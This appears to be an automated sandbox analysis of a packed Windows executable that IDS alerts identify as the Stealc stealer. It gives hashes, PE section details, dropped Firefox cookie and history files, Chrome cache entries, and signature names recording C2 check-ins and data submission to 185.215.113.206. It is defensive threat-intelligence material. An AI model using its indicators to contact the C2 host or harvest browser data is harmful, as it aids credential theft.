Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (816)
Category:	downloaded
Size (bytes):	821
Entropy (8bit):	5.175202656446123
Encrypted:	false
SSDEEP:	24:mEJZ27vamoBmpPB2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:mCZujok/2KlgZ01BuSEqmffffffo
MD5:	9B7C70D0BD65E82792831CAB4FEBD8AD
SHA1:	C307DFE1873EE1FE4C26991F7F81976A40EA884B
SHA-256:	6A3AFB9493880D765761AA4743E4FA3C2EC20986DF8DE677EEDF9D3FDF5FFEDF
SHA-512:	7A9C1A505454E87DF5AFB8823D7CCB09282D93C8911A045F345986FAD037392D52FF4CBB38FB8DE034FF718ED73D6A466F35B565BB4707C95274EB8231640B9B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["msu basketball ferris state","halsey album review great impersonator","disney dreamlight valley storybook vale","picklewich sandwich jimmy johns","hurricanes tropical storms","astrology horoscope today","nfl trade deadline detroit lions","cod double xp tokens"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133745
Entropy (8bit):	5.436565460421356
Encrypted:	false
SSDEEP:	3072:2P/vjxd0QniyZ+qQf4VBNQ0pqEvx7U+OUaKszQ:E/vv0yTVBNQ0p1vxI+ORQ
MD5:	5080D192B05501CBDAA7FF6EC87DAEBE
SHA1:	BFBC9B898FC5A59C2C90F946F10C91D501616501
SHA-256:	48361F743AD4F3BD3A4C28CA7B96FD13EBD19BDD5A0469B31DD5959DC8D6026D
SHA-512:	9846DEC926E1DFF0EC2295A582266D0D10D5B82057BCB3BE05F28774DF8D5E5E12A6BFE842666C262917F4A306755779A08A3FA9A826A555DDCB3640EE84E6EA
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959667668286142
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'158'080 bytes
MD5:	6873652f7bedc42d8c3e7485088e5714
SHA1:	7b367994e90dea60c760ecad73200a454fa2480d
SHA256:	713a17e0d6ac6da5631b52722ce20234dad493bbb5c82fe37b83d1daeaa78703
SHA512:	9c5780ab70ffa7f28ed115a43e009888f885c77fe866bca203162375afe20deb6ccfeb89585ddb29d57544628969e9032045883c212f99053191cec05ac74417
SSDEEP:	49152:R3GttaRlqvanPsF4zimCcTkWWQwWqQfOfM7H:R3Gra8anP04zDg8wWqQfb
TLSH:	35A533530DB3F4B4CB832139A61E8714EB7901ED64B51F653B0A92465B0AB463E42FEF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb39000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD2B911D9BAh
bswap esp
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD2B911F9B5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	4438d04a4ef1211551710f785a16f791	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2aa000	0x200	5531393b884a519a016c39ef17b4768d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jynqsoyt	0x594000	0x1a4000	0x1a3e00	c54c64195c8a41e81a178b3c4183dd24	False	0.9947563914111343	data	7.9537048191150905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pvsqsruk	0x738000	0x1000	0x400	31ca467340f3946e57c802dea397a0ba	False	0.802734375	data	6.2430285954439855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x739000	0x3000	0x2200	00fc48522a321648e0bfbea8b726083d	False	0.05583639705882353	DOS executable (COM)	0.5864020383644549	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T15:59:04.337865+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:04.623425+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:04.630337+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-30T15:59:04.909624+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:04.917112+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-30T15:59:06.006072+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:06.693648+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T15:59:34.328769+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:37.656752+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:39.555738+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:40.648104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:42.788369+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP
2024-10-30T15:59:43.340463+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49716	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 15:58:54.433393955 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:58:54.433394909 CET	49674	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:58:54.761567116 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:59:00.962089062 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:00.962132931 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:00.962197065 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:00.962764025 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:00.962780952 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.184418917 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.184588909 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.200783014 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.200802088 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.201154947 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.203217030 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.203258991 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.203263998 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.203681946 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.251328945 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.452868938 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.453427076 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:02.453437090 CET	443	49709	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:02.453501940 CET	49709	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:03.119081020 CET	49710	80	192.168.2.6	185.215.113.206
